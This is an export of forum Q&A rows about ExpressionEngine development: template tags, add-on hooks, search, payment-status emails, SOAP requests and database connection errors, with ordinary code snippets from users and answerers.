  <row Id="34408" PostTypeId="1" CreationDate="2015-10-15T12:38:20.350" Score="0" ViewCount="132" Body="&lt;p&gt;Is it possible to use a stash variable as a parameter further down the template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;logged_in_user&quot;}{screen_name}{/exp:stash:set}&#xA;&#xA;&#xA;{exp:freeform:entries form_id=&quot;0&quot; site_id=&quot;0&quot; search:foo=&quot;{exp:stash:get name='logged_in_user'}&quot;}&#xA;&#xA;    {freeform:field:branch} &amp;lt;br/&amp;gt;{screen_name}&#xA;&#xA;{/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2016-03-22T11:56:54.093" Title="Stash variable as a parameter" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34409" PostTypeId="1" CreationDate="2015-10-15T13:31:24.073" Score="0" ViewCount="280" Body="&lt;p&gt;I have constructed a real estate site that has a channel containing property entries, each of which have several channel fields, such as price, number of bedrooms, year built, location (state), property id, etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is my objective to create a search form where the user can perform a search to locate properties. The form will have inputs where the user can select an number of parameters such as a price range, minimum number of bedrooms, a state. When they click the submit button, the resulting page will list properties that meet the user's search criteria. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE's core search seems VERY limited in that it can only search entry metadata like titles, authors or date published. To accomplish my search requirement, I might need to invest in something like Solespace Super Search. I don't have a problem with that but I would like to know if anybody has constructed anything similar with Super Search or Low Search or something else. I have not used these add-ons and cannot determine from the documentation of it possible. It seems so but I would like to hear from someone who has done something similar. I also know there is a free plugin called Search Fields, but is appears limited in what it can do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also looking at implementing an EE exp:query. I have not used query before and wonder if it can perform the operation I want. I've created db queries using CodeIgniter and wonder if this sort of database query is possible within EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any suggestions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using the EE Search but I don't see any way to limit a search to only one field. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form channel=&quot;news&quot; search_in=&quot;entries&quot;}&#xA;&amp;lt;p&amp;gt;&#xA; &amp;lt;label for=&quot;keywords&quot;&amp;gt;Search:&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA; &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; value=&quot;&quot; size=&quot;18&quot; maxlength=&quot;100&quot;&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;  &amp;lt;input type=&quot;submit&quot; value=&quot;submit&quot; class=&quot;submit&quot;&amp;gt;&#xA; &amp;lt;/p&amp;gt;&#xA;{/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will search channel fields that have been designated searchable, however there seems no way to limit the search to a specific field, for example price over or between.&lt;/p&gt;&#xA;" OwnerUserId="4992" LastEditorUserId="4992" LastEditDate="2015-10-17T12:15:17.170" LastActivityDate="2015-10-17T12:15:17.170" Title="How to search channel fields" Tags="|search|channel|low-search|supersearch|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34410" PostTypeId="1" CreationDate="2015-10-15T18:16:11.837" Score="0" ViewCount="19" Body="&lt;p&gt;I'm running into an issue with the 'Plates field type. The site is running EE v2.5.5. When I select a layout, the selection doesn't &quot;stick&quot;. It appears to when I select it, but when I save the entry, and come back in to edit it, the field appears as though nothing has been selected. Has anyone run into this issue before? If so, were you able to find a fix for it? I would appreciate any ideas you would be willing to share!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What the field looks like when I create an entry&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/M2h69.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/M2h69.png&quot; alt=&quot;Choose a Layout Field&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What the field looks like when I select the layout type&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/X38zO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/X38zO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What the field looks like when I return to edit the entry&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kxKJb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kxKJb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2015-10-15T18:16:11.837" Title="Issue with 'Plates Field Type" Tags="|add-on|fieldtype|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34411" PostTypeId="1" CreationDate="2015-10-15T19:12:09.680" Score="0" ViewCount="34" Body="&lt;p&gt;Is it possible to have an email auto-generated when an order is paid?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our system currently allows customers to order and choose manual payment. Once the order is received and confirmed, we then allow them to pay for their order by visiting the /order/order_hash page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the order was already received, it's not firing to a &quot;new&quot; status and we don't receive an email on payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to send an email to user and admin when the order changes from &quot;unpaid&quot; to &quot;paid&quot;?&lt;/p&gt;&#xA;" OwnerUserId="37" LastActivityDate="2016-06-01T15:13:13.700" Title="Expresso Store - Auto Email When Paid?" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34412" PostTypeId="2" ParentId="34411" CreationDate="2015-10-15T19:30:26.937" Score="0" Body="&lt;p&gt;I can't say for sure if Espresso Store is supposed to do that anyways, or if there is supposed to be a simple setting for it, but almost certainly one of these hooks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.exp-resso.com/docs/extension_hooks.html#transaction_hooks&quot; rel=&quot;nofollow&quot;&gt;https://www.exp-resso.com/docs/extension_hooks.html#transaction_hooks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could be used. I don't have that addon (I'm in education, not retail) anywhere so I'm not sure, but one of those hooks should work to grab a change in that status. Example extension method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function detect_email($order)&#xA;{&#xA;    // get the current order status (i don't actually know the tables/columns...)&#xA;    $prev_order = ee()-&amp;gt;db-&amp;gt;select('status')&#xA;                          -&amp;gt;from('expresso_orders')&#xA;                          -&amp;gt;where('order_id', $order['order_id'])&#xA;                          -&amp;gt;get()-&amp;gt;row_array();&#xA;&#xA;    // compare for fun!&#xA;    if ( $order['status'] != $prev_order['status'] &amp;amp;&amp;amp;&#xA;         $order['status'] == 'paid' ) {&#xA;&#xA;        // yay! we went from something else to paid!&#xA;        // use the email class to fire off some goodness&#xA;        $email_msg = &quot;WORD SAUCE PAID DING DING : &quot; . $order['order_id'];&#xA;&#xA;        ee()-&amp;gt;load-&amp;gt;library('email');&#xA;        ee()-&amp;gt;email-&amp;gt;wordwrap = true;&#xA;        ee()-&amp;gt;email-&amp;gt;mailtype = &quot;html&quot;;&#xA;        ee()-&amp;gt;email-&amp;gt;from(&quot;specialty@twinkies.com&quot;);&#xA;        ee()-&amp;gt;email-&amp;gt;to($order['contact_email']);&#xA;        ee()-&amp;gt;email-&amp;gt;subject(&quot;Successful pay.&quot;);&#xA;        ee()-&amp;gt;email-&amp;gt;message(entities_to_ascii($email_msg));&#xA;        ee()-&amp;gt;email-&amp;gt;message($email_msg);&#xA;        ee()-&amp;gt;email-&amp;gt;Send();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-15T19:30:26.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34413" PostTypeId="2" ParentId="34411" CreationDate="2015-10-15T20:25:31.610" Score="0" Body="&lt;p&gt;You can setup as many order statuses as you need by going to Store &gt; Settings &gt; Order Status and create as many additional status that you would like. Then in Store &gt; Settings &gt; Email Templates you can create additional statuses for each email template you would like to be sent out.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-10-15T20:25:31.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34414" PostTypeId="1" CreationDate="2015-10-16T00:50:13.163" Score="0" ViewCount="85" Body="&lt;p&gt;OK so basically I'd like to load the EE framework and its container outside of an ExpressionEngine path... I know there's been some questions about this, but I haven't found a great answer, and it seems like a good question for the forum. I, like, never ask questions so why not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given this simple situation (EE 2.9+):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Web root and ExpressionEngine root: &lt;code&gt;/web_root/index.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outside of EE file: &lt;code&gt;/web-root/random-folder/index.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way I can initialize the framework in that &lt;code&gt;/random-folder/index.php&lt;/code&gt; file? I specifically want to load the database class (and possibly a few others). I know I can probably load CI classes just fine, which is close, but I don't know how it would work with trying to launch the framework there for class use from the &lt;code&gt;ee()&lt;/code&gt; container (think &lt;code&gt;ee()-&amp;gt;functions&lt;/code&gt;, &lt;code&gt;ee()-&amp;gt;db&lt;/code&gt;, etc..). I know I could probably figure this out on my own, but I rarely have a really good question, so I'm accepting answers, suggestions, as well as warnings against this idea. If anyone has accomplished this successfully, I'd love to hear about it, and am extra inviting to security questions and concerns. Thanks to any who have any ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt; Yes, I can do everything I want to in that &lt;code&gt;/random-folder/index.php&lt;/code&gt; file in pure PHP, but this is related to an addon development and I'd like that file's contents to have the code structure and feel of an ExpressionEngine addon file.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-10-17T16:27:20.617" LastActivityDate="2015-10-17T16:27:20.617" Title="Load framework outside of folder structure" Tags="|php|ee|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34415" PostTypeId="2" ParentId="34408" CreationDate="2015-10-16T09:11:37.163" Score="1" Body="&lt;p&gt;&lt;del&gt;Add the parameter parse=&quot;inward&quot; to the Freeform tag and you should be good to go.&lt;/del&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems you can’t pass tags to the special search: parameter. Even parse=&quot;inward&quot; doesn't work. &lt;a href=&quot;https://devot-ee.com/add-ons/support/stash/viewthread/13292#43305&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; you can find exactly how you can solve your issue.&lt;/p&gt;&#xA;" OwnerUserId="6205" LastEditorUserId="6205" LastEditDate="2015-10-20T06:23:22.363" LastActivityDate="2015-10-20T06:23:22.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34416" PostTypeId="1" CreationDate="2015-10-16T11:23:30.337" Score="0" ViewCount="45" Body="&lt;p&gt;sorry if this is a dumb question, but what happened to the Site Manager for EE 2.*? I need it for a project and its gone from the Store pages and the links are dead. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know anything?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="6758" LastActivityDate="2015-10-16T11:23:30.337" Title="Site manager disapeared following EE 3.0 release?" Tags="|multi-site-manager|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34417" PostTypeId="1" CreationDate="2015-10-16T18:09:17.510" Score="0" ViewCount="24" Body="&lt;p&gt;Is there any way to generate a URL to take an administrator directly to an order from a list generated by the {exp:store:orders} tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can send them here: /cp/addons_modules/show_module_cp&amp;amp;module=store&amp;amp;sc=orders (to the main orders module)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &quot;/cp/addons_modules/show_module_cp&amp;amp;module=store&amp;amp;sc=orders&amp;amp;sm=show&amp;amp;id={order_id}&quot; but the order_id does not match the &quot;cart id&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing a simple tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6679" LastActivityDate="2015-10-16T18:09:17.510" Title="Direct link to specific order in control panel from front end template" Tags="|expresso-store|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34418" PostTypeId="1" CreationDate="2015-10-16T19:25:06.230" Score="0" ViewCount="53" Body="&lt;p&gt;I'm using an ancient form of Expression Engine on my site Comics Reporter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently when I've gone to the control page and signed in &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5eyw8.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5eyw8.jpg&quot; alt=&quot;the page of the site that i go to after signing in&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then hit edit, I get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sDgmP.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sDgmP.jpg&quot; alt=&quot;a blank page&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this from four browsers: chrome, firefox, explorer (mac), safari; I get it after I clear cache although for a while that would bring the edit list back. It's been happening intermittently for about a month. But now there's no getting back to the edits page (by switching browsers or clearing cache).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this on my phone (wi-fi and 4G) and I get this on my laptop using this wi-fi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nobody else signing on remotely gets this. Ever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My server people have checked if my IP is blocked and don't think it's on their end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue what might be getting in the way? Help? Thanks in advance if anyone can; last time I had a problem people just laughed at the fact I was using this old version and told me to go away!&lt;/p&gt;&#xA;" OwnerUserId="6759" LastActivityDate="2015-10-16T19:25:06.230" Title="I'm getting a blank page from edits, but no one else is" Tags="|blank-screen|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34420" PostTypeId="1" CreationDate="2015-10-16T22:48:14.643" Score="0" ViewCount="28" Body="&lt;p&gt;Has anyone successfully integrated a calendar into Cartthrob? A client wants to be able to let their users select weeks in advance when a delivery can be made. Any advice?&lt;/p&gt;&#xA;" OwnerUserId="6760" LastActivityDate="2015-10-19T15:51:45.607" Title="Integrating a calendar into cartthrob" Tags="|cartthrob|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34421" PostTypeId="1" AcceptedAnswerId="34437" CreationDate="2015-10-16T23:51:20.643" Score="2" ViewCount="64" Body="&lt;p&gt;I have created a PDF generating tool that creates certificates for members, creates a sub-folder within a one of my file upload directories, then places the file into the new directory. &#xA;I am trying to figure out how I can run this script, then tell Assets to Update Indexes, via PHP probably, then the channel:form I have can see the new file/subfolder I have created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Developer docs, there are hooks for assets_create_folder and assets_upload_file. These hooks look like they work in the opposite direction to what I want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to tell Assets to index new folders and files that I have generated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do this using PHP in a template without building an extension? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="6304" LastActivityDate="2015-10-19T17:47:04.093" Title="How to trigger P&amp;T Assets to Update Indexes from a template" Tags="|assets|php|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34422" PostTypeId="2" ParentId="34421" CreationDate="2015-10-17T00:07:39.830" Score="1" Body="&lt;p&gt;I can help you figure out the direction you should take, but this one seems obscure and like quite a process, and I'm pretty busy right now. First, I would trace back from the ajax hit that happens when you call Assets to index a new folder from that Control Panel page. Use your browser developer tools to monitor XHR processes (this is usually under the &quot;Network&quot; tab of your dev tools, depends on what browser you use), and index some random folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you do that, you should be able to get the ACTion ID used for indexing folders. Then, look in your &lt;code&gt;exp_actions&lt;/code&gt; database table. Match up that ACTion ID, and look at what method it calls in the Assets module.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT method FROM exp_actions&#xA;    WHERE action_id = %% your discovered action id number here in double quotes (no % signs) %%;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From there, you can look up that method in the Assets &lt;code&gt;web-root/system/expressionengine/third_party/assets/mod.assets.php&lt;/code&gt; file. The key from there is to see if you can import the Assets module class into your own add-on (or however you've implemented your PDF generation). Then instantiate the module class, and just call the appropriate methods to index a folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If instantiating the Assets module class doesn't work, you at least know what code to copy to reverse engineer how Assets indexes folders.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-17T00:07:39.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34423" PostTypeId="1" CreationDate="2015-10-17T12:41:28.883" Score="0" ViewCount="87" Body="&lt;p&gt;I need to send a soap requests to an external website but keep on getting &#xA;“Failed to load resource: Origin xxx is not allowed by Access-Control-Allow-Origin” &#xA;and &#xA;“XMLHttpRequest cannot load &lt;a href=&quot;https://...?wsdl&quot; rel=&quot;nofollow&quot;&gt;https://...?wsdl&lt;/a&gt;. Origin xxx is not allowed by Access-Control-Allow-Origin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no control over the responding server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to send the request without the browser preflighting the request?&#xA;Another way of sending soap requests?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using EE 2.9.3 and JQuerySoap&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;$( document ).ready(function() {&#xA;var $_POST = &amp;lt;?php echo json_encode($_POST); ?&amp;gt;;&#xA;var $entry_date = $_POST[&quot;entry_date&quot;];&#xA;var $billingFirstName = $_POST[&quot;billingFirstName&quot;];&#xA;var $billingLastName = $_POST[&quot;billingLastName&quot;];&#xA;var $eMail = $_POST[&quot;eMail&quot;];&#xA;var $special = $_POST[&quot;special&quot;];&#xA;var $howoften = $_POST[&quot;howoften&quot;];&#xA;var $billingaddress = $_POST[&quot;billingaddress&quot;];&#xA;var $billingaddress2 = $_POST[&quot;billingaddress2&quot;];&#xA;var $billingzipcode = $_POST[&quot;billingzipcode&quot;];&#xA;var $billingcity = $_POST[&quot;billingcity&quot;];&#xA;var $doorcode = $_POST[&quot;doorcode&quot;];&#xA;var $instructions = $_POST[&quot;instructions&quot;];&#xA;var $telephone = $_POST[&quot;telephone&quot;];&#xA;var $produktnamn = $_POST[&quot;produktnamn&quot;];&#xA;var $produktpris = $_POST[&quot;produktpris&quot;];&#xA;var $dibsrefno = $_POST[&quot;dibsrefno&quot;];&#xA;var $billingdate = $_POST[&quot;billingdate&quot;];&#xA;&#xA;&#xA;var xml =&#xA;    ['&amp;lt;soap:Envelope xmlns:soap=&quot;http://xxx&quot; xmlns:v2=&quot;https://xxx&quot;&amp;gt;',&#xA;        '&amp;lt;soap:Header/&amp;gt;',&#xA;            '&amp;lt;soap:Body&amp;gt;',&#xA;                  '&amp;lt;v2:subscribeAndSettle&amp;gt;',&#xA;                     '&amp;lt;v2:shopName&amp;gt;xxx&amp;lt;/v2:shopName&amp;gt;',&#xA;                     '&amp;lt;v2:userName&amp;gt;xxx&amp;lt;/v2:userName&amp;gt;',&#xA;                     '&amp;lt;v2:password&amp;gt;xxx&amp;lt;/v2:password&amp;gt;',&#xA;                     '&amp;lt;v2:verifyID&amp;gt;'+$dibsrefno+'&amp;lt;/v2:verifyID&amp;gt;',&#xA;                     '&amp;lt;v2:data&amp;gt;1:'+$produktnamn+':1:'+$produktpris+'00:&amp;lt;/v2:data&amp;gt;',&#xA;                     '&amp;lt;v2:ip&amp;gt;xxx&amp;lt;/v2:ip&amp;gt;',&#xA;                     '&amp;lt;v2:currency&amp;gt;SEK&amp;lt;/v2:currency&amp;gt;',&#xA;                     '&amp;lt;v2:extra&amp;gt;&amp;amp;amp;entry_date='+$entry_date+'&amp;amp;amp;billingFirstName='+$billingFirstName+'&amp;amp;amp;billingLastName='+$billingLastName+'&amp;amp;amp;eMail='+$eMail+'&amp;amp;amp;special='+$special+'&amp;amp;amp;howoften='+$howoften+'&amp;amp;amp;billingaddress='+$billingaddress+'&amp;amp;amp;billingaddress2='+$billingaddress2+'&amp;amp;amp;billingcity='+$billingcity+'&amp;amp;amp;doorcode='+$doorcode+'&amp;amp;amp;instructions='+$instructions+'&amp;amp;amp;billingdate='+$billingdate+'&amp;lt;/v2:extra&amp;gt;',&#xA;                  '&amp;lt;/v2:subscribeAndSettle&amp;gt;',&#xA;               '&amp;lt;/soap:Body&amp;gt;',&#xA;    '&amp;lt;/soap:Envelope&amp;gt;'];&#xA;$.soap({&#xA;    url: 'https://xxx?wsdl',&#xA;    data: xml.join(''),&#xA;});&#xA;&#xA;&#xA;&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3022" LastActivityDate="2016-05-30T14:41:23.520" Title="How to send soap request" Tags="|ee2|jquery|xml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34425" PostTypeId="2" ParentId="34363" CreationDate="2015-10-18T05:39:16.870" Score="0" Body="&lt;p&gt;If you want to include &quot;closed&quot; entries, you'll need to specifically include that status in your channel_entries call — from the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/channel/channel_entries.html#status&quot; rel=&quot;nofollow&quot;&gt;Docs&lt;/a&gt;: &quot;Note that closed status entries will not be included in the results when using “not” regardless of whether it is in the piped list.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe try &lt;code&gt;status=&quot;closed|not closed&quot;&lt;/code&gt; as odd as that may seem. If that doesn't work, you may have to include all of the statuses that you want in the piped list.&lt;/p&gt;&#xA;" OwnerUserId="283" LastActivityDate="2015-10-18T05:39:16.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34427" PostTypeId="2" ParentId="34390" CreationDate="2015-10-18T16:52:44.243" Score="1" Body="&lt;p&gt;After reading up a bit on mySQL, I've found an answer, which seems to work. If anyone sees that this is horribly inefficient feel free to disagree!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT exp_members.screen_name, COUNT(exp_channel_titles.entry_id) AS number_of_posts FROM exp_channel_titles&#xA;    LEFT JOIN exp_members&#xA;    ON exp_channel_titles.author_id=exp_members.member_id&#xA;    LEFT JOIN exp_member_data&#xA;    GROUP BY screen_name&#xA;    ORDER BY number_of_posts DESC&#xA;&quot;}&#xA;    &amp;lt;li&amp;gt;&#xA;        {screen_name}, ({number_of_posts})&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3000" LastActivityDate="2015-10-18T16:52:44.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34428" PostTypeId="1" AcceptedAnswerId="34436" CreationDate="2015-10-19T08:25:32.217" Score="1" ViewCount="378" Body="&lt;p&gt;When I go to my homepage of my site (which is a sub domain for testing: example.testcre8.co.uk) it gives me a blank white page instead of displaying my homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I am missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="6748" LastActivityDate="2016-05-30T03:39:52.507" Title="My site showing a blank homepage?" Tags="|blank-screen|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34429" PostTypeId="1" CreationDate="2015-10-19T09:15:06.420" Score="1" ViewCount="82" Body="&lt;p&gt;I have upgraded the the ee with latest license version &amp;amp; getting following error on the  template page where I am using external database&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;this the code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$DB1 = $this-&amp;gt;EE-&amp;gt;load-&amp;gt;database('XXXX', TRUE);&#xA;&#xA;$query_str = 'SELECT * FROM `company` ';&#xA;$query = $DB1-&amp;gt;query($query_str);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Error:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice&#xA;Undefined property: EE_Functions::$EE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ee/legacy/libraries/Functions.php(679) : eval()'d code, line 131 show details&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Severity: E_NOTICE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please reply as soon as possible&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6579" LastEditorUserId="3579" LastEditDate="2015-10-19T13:12:28.833" LastActivityDate="2015-10-19T13:12:28.833" Title="external dabase connection error on EE3" Tags="|xml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34430" PostTypeId="1" CreationDate="2015-10-19T10:34:47.360" Score="0" ViewCount="54" Body="&lt;p&gt;An old website has recently been updated for a client of ours, from EE 2.4.0 to EE 2.10.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been having lots of trouble with CartThrob on the staging site. I'm wondering if the licence for the staging site is causing issues (as the current site is still live while we work on it), which is why it hangs when processing orders (time out).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've tried almost everything we can think of and still to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shaun.&lt;/p&gt;&#xA;" OwnerUserId="3834" LastActivityDate="2016-06-15T07:57:25.193" Title="CartThrob issue after EE upgade" Tags="|cartthrob|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34431" PostTypeId="2" ParentId="34429" CreationDate="2015-10-19T12:52:15.987" Score="1" Body="&lt;p&gt;The ExpressionEngine framework probably doesn't have a pointer reference to the namespace variable &lt;code&gt;$EE&lt;/code&gt; in whatever script you're executing... to be honest, I'm guessing you copied a script example from somewhere on the net. Globally, ExpressionEngine is instantiated as a class at &lt;code&gt;ee()&lt;/code&gt;. Even in (later versions, 2.5.5 and up I believe) ExpressionEngine 2.x, you would have had to declare a pointer reference in your class's namespace to have access to it like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var $EE;&#xA;&#xA;function __construct ()&#xA;{&#xA;    $this-&amp;gt;EE &amp;amp;= ee();&#xA;}&#xA;&#xA;function whatevez_homie ()&#xA;{&#xA;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;database('database_from_yonder', TRUE);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Something like that. But you needn't do that. Just use it's global declaration as a class.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;database('database_from_yonder', TRUE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Quick Edit&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, seeing your error, it seems as though you are already accessing the class's namespace with the magic &lt;code&gt;this&lt;/code&gt;. Have you tried deleting &lt;code&gt;EE&lt;/code&gt; from your statement?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;load-&amp;gt;database('database_from_yonder', TRUE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-10-19T12:57:59.620" LastActivityDate="2015-10-19T12:57:59.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
